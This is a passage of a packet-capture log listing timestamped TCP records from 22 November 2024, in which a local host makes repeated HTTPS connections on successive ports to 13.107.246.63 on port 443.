Nov 22, 2024 17:09:55.761588097 CET	49877	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.761598110 CET	443	49877	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.805401087 CET	443	49873	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.805696011 CET	443	49873	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.805768013 CET	49873	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.805927038 CET	49873	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.805946112 CET	443	49873	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.805958033 CET	49873	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.805968046 CET	443	49873	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.809120893 CET	49878	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.809155941 CET	443	49878	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.809245110 CET	49878	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.809391022 CET	49878	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.809401035 CET	443	49878	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.978909016 CET	443	49874	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.979104042 CET	443	49874	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.979228973 CET	49874	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.979271889 CET	49874	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.979298115 CET	443	49874	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.979310036 CET	49874	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.979325056 CET	443	49874	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.982044935 CET	49879	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.982095003 CET	443	49879	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.982184887 CET	49879	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.982353926 CET	49879	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.982372999 CET	443	49879	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:56.071824074 CET	443	49875	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:56.072546959 CET	49875	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:56.072602034 CET	443	49875	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:56.073010921 CET	49875	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:56.073016882 CET	443	49875	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:56.516169071 CET	443	49875	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:56.516247034 CET	443	49875	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:56.516320944 CET	49875	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:56.516550064 CET	49875	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:56.516551018 CET	49875	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:56.516588926 CET	443	49875	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:56.516617060 CET	443	49875	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:56.519643068 CET	49880	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:56.519690037 CET	443	49880	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:56.519752026 CET	49880	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:56.520145893 CET	49880	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:56.520159960 CET	443	49880	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.288371086 CET	443	49876	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.288992882 CET	49876	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:57.289020061 CET	443	49876	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.289489031 CET	49876	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:57.289501905 CET	443	49876	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.489458084 CET	443	49877	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.491913080 CET	49877	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:57.491933107 CET	443	49877	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.492362976 CET	49877	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:57.492367029 CET	443	49877	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.546464920 CET	443	49878	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.547292948 CET	49878	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:57.547319889 CET	443	49878	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.547688961 CET	49878	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:57.547703981 CET	443	49878	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.714859009 CET	443	49879	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.715724945 CET	49879	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:57.715739012 CET	443	49879	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.716190100 CET	49879	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:57.716196060 CET	443	49879	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.733133078 CET	443	49876	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.733218908 CET	443	49876	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.733297110 CET	49876	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:57.733536959 CET	49876	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:57.733536959 CET	49876	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:57.733556986 CET	443	49876	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.733566046 CET	443	49876	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.736390114 CET	49881	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:57.736493111 CET	443	49881	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.736587048 CET	49881	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:57.736716986 CET	49881	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:57.736742973 CET	443	49881	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.926482916 CET	443	49877	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.926707029 CET	443	49877	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.926819086 CET	49877	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:57.927037954 CET	49877	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:57.927059889 CET	443	49877	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.927092075 CET	49877	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:57.927100897 CET	443	49877	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.929717064 CET	49882	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:57.929771900 CET	443	49882	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.929879904 CET	49882	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:57.930066109 CET	49882	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:57.930082083 CET	443	49882	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.981009007 CET	443	49878	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.981209040 CET	443	49878	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.981256962 CET	49878	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:57.981343985 CET	49878	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:57.981343985 CET	49878	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:57.981364012 CET	443	49878	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.981372118 CET	443	49878	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.983994007 CET	49883	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:57.984070063 CET	443	49883	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:57.984165907 CET	49883	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:57.984303951 CET	49883	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:57.984324932 CET	443	49883	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:58.150397062 CET	443	49879	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:58.150585890 CET	443	49879	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:58.150755882 CET	49879	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:58.150791883 CET	49879	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:58.150791883 CET	49879	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:58.150811911 CET	443	49879	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:58.150820971 CET	443	49879	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:58.153819084 CET	49884	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:58.153873920 CET	443	49884	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:58.153966904 CET	49884	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:58.154190063 CET	49884	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:58.154232025 CET	443	49884	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:58.317610979 CET	443	49880	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:58.318188906 CET	49880	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:58.318217993 CET	443	49880	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:58.318664074 CET	49880	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:58.318670034 CET	443	49880	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:58.763449907 CET	443	49880	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:58.763523102 CET	443	49880	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:58.763575077 CET	49880	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:58.763791084 CET	49880	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:58.763812065 CET	443	49880	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:58.763827085 CET	49880	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:58.763833046 CET	443	49880	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:58.766885996 CET	49885	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:58.766925097 CET	443	49885	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:58.766994953 CET	49885	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:58.767255068 CET	49885	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:58.767266035 CET	443	49885	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:59.523006916 CET	443	49881	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:59.523932934 CET	49881	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:59.523967028 CET	443	49881	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:59.524303913 CET	49881	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:59.524308920 CET	443	49881	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:59.652508020 CET	443	49882	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:59.653054953 CET	49882	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:59.653098106 CET	443	49882	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:59.653501987 CET	49882	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:59.653511047 CET	443	49882	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:59.737894058 CET	443	49884	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:59.738537073 CET	49884	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:59.738559008 CET	443	49884	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:59.739418983 CET	49884	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:59.739424944 CET	443	49884	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:59.776582956 CET	443	49883	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:59.777116060 CET	49883	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:59.777157068 CET	443	49883	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:59.777631998 CET	49883	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:59.777648926 CET	443	49883	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:59.966506958 CET	443	49881	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:59.966605902 CET	443	49881	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:59.966689110 CET	49881	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:59.966911077 CET	49881	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:59.966937065 CET	443	49881	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:59.966948032 CET	49881	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:59.966953993 CET	443	49881	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:59.969625950 CET	49888	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:59.969667912 CET	443	49888	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:59.969892025 CET	49888	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:59.970052958 CET	49888	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:59.970063925 CET	443	49888	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:00.085769892 CET	443	49882	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:00.085853100 CET	443	49882	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:00.085917950 CET	49882	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:00.086152077 CET	49882	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:00.086173058 CET	443	49882	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:00.086185932 CET	49882	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:00.086193085 CET	443	49882	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:00.089240074 CET	49889	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:00.089276075 CET	443	49889	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:00.089359999 CET	49889	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:00.089561939 CET	49889	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:00.089571953 CET	443	49889	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:00.185036898 CET	443	49884	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:00.185144901 CET	443	49884	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:00.185214043 CET	49884	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:00.185336113 CET	49884	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:00.185352087 CET	443	49884	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:00.185363054 CET	49884	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:00.185369015 CET	443	49884	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:00.188019037 CET	49890	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:00.188066959 CET	443	49890	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:00.188158035 CET	49890	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:00.188338995 CET	49890	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:00.188349009 CET	443	49890	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:00.219329119 CET	443	49883	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:00.219399929 CET	443	49883	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:00.219460011 CET	49883	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:00.219655037 CET	49883	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:00.219670057 CET	443	49883	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:00.219682932 CET	49883	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:00.219688892 CET	443	49883	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:00.222764969 CET	49891	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:00.222800970 CET	443	49891	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:00.222887039 CET	49891	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:00.223012924 CET	49891	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:00.223023891 CET	443	49891	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:00.593745947 CET	443	49885	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:00.594297886 CET	49885	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:00.594326019 CET	443	49885	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:00.594733000 CET	49885	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:00.594738007 CET	443	49885	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:01.042745113 CET	443	49885	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:01.042823076 CET	443	49885	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:01.042876959 CET	49885	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:01.043067932 CET	49885	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:01.043087006 CET	443	49885	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:01.043101072 CET	49885	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:01.043107033 CET	443	49885	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:01.045810938 CET	49892	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:01.045849085 CET	443	49892	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:01.045948029 CET	49892	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:01.046101093 CET	49892	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:01.046109915 CET	443	49892	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:01.827240944 CET	443	49888	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:01.879208088 CET	443	49889	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:01.879241943 CET	49888	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:01.926156044 CET	49889	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:01.926727057 CET	49888	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:01.926738977 CET	443	49888	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:01.927418947 CET	49888	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:01.927424908 CET	443	49888	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:01.928381920 CET	49889	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:01.928395033 CET	443	49889	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:01.928818941 CET	49889	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:01.928827047 CET	443	49889	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:01.980515003 CET	443	49890	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:01.981061935 CET	49890	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:01.981075048 CET	443	49890	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:01.982006073 CET	49890	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:01.982011080 CET	443	49890	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.013978004 CET	443	49891	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.014703035 CET	49891	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.014731884 CET	443	49891	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.015646935 CET	49891	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.015659094 CET	443	49891	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.291768074 CET	443	49888	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.291954041 CET	443	49888	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.292020082 CET	49888	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.295768976 CET	49888	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.295797110 CET	443	49888	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.295808077 CET	49888	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.295814991 CET	443	49888	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.299475908 CET	49893	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.299525023 CET	443	49893	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.299585104 CET	49893	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.299874067 CET	49893	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.299894094 CET	443	49893	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.326219082 CET	443	49889	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.326332092 CET	443	49889	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.326380014 CET	49889	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.326574087 CET	49889	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.326594114 CET	443	49889	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.326606035 CET	49889	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.326611996 CET	443	49889	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.330363989 CET	49894	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.330403090 CET	443	49894	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.330535889 CET	49894	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.330790997 CET	49894	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.330801010 CET	443	49894	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.464526892 CET	443	49891	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.464591026 CET	443	49891	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.464884043 CET	49891	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.465025902 CET	49891	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.465039968 CET	443	49891	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.465048075 CET	49891	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.465053082 CET	443	49891	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.467986107 CET	49895	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.468014002 CET	443	49895	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.468144894 CET	49895	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.468333960 CET	49895	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.468346119 CET	443	49895	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.511557102 CET	443	49890	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.511672020 CET	443	49890	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.511729956 CET	49890	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.512017012 CET	49890	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.512044907 CET	443	49890	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.512062073 CET	49890	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.512068033 CET	443	49890	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.514936924 CET	49896	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.514985085 CET	443	49896	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.515053034 CET	49896	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.515259027 CET	49896	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.515270948 CET	443	49896	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.831834078 CET	443	49892	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.832593918 CET	49892	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.832608938 CET	443	49892	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:02.832952023 CET	49892	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:02.832962990 CET	443	49892	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:03.347017050 CET	443	49892	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:03.347095013 CET	443	49892	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:03.347165108 CET	49892	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:03.347394943 CET	49892	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:03.347394943 CET	49892	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:03.347413063 CET	443	49892	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:03.347420931 CET	443	49892	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:03.351082087 CET	49897	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:03.351144075 CET	443	49897	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:03.351326942 CET	49897	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:03.351510048 CET	49897	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:03.351526976 CET	443	49897	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.141818047 CET	443	49893	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.142574072 CET	49893	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.142586946 CET	443	49893	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.143024921 CET	49893	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.143029928 CET	443	49893	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.170789957 CET	443	49894	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.171576977 CET	49894	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.171592951 CET	443	49894	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.171861887 CET	49894	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.171865940 CET	443	49894	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.342696905 CET	443	49895	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.343296051 CET	49895	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.343324900 CET	443	49895	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.343777895 CET	49895	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.343786955 CET	443	49895	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.377136946 CET	443	49896	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.377705097 CET	49896	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.377724886 CET	443	49896	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.378118992 CET	49896	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.378124952 CET	443	49896	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.601725101 CET	443	49893	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.601799965 CET	443	49893	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.601864100 CET	49893	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.602054119 CET	49893	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.602068901 CET	443	49893	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.602092981 CET	49893	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.602098942 CET	443	49893	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.605492115 CET	49898	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.605549097 CET	443	49898	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.605633974 CET	49898	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.605772972 CET	49898	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.605784893 CET	443	49898	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.618500948 CET	443	49894	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.618609905 CET	443	49894	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.618657112 CET	49894	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.618896961 CET	49894	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.618921995 CET	443	49894	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.618937016 CET	49894	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:10:04.618942022 CET	443	49894	13.107.246.63	192.168.2.10
Nov 22, 2024 17:10:04.621982098 CET	49899	443	192.168.2.10	13.107.246.63
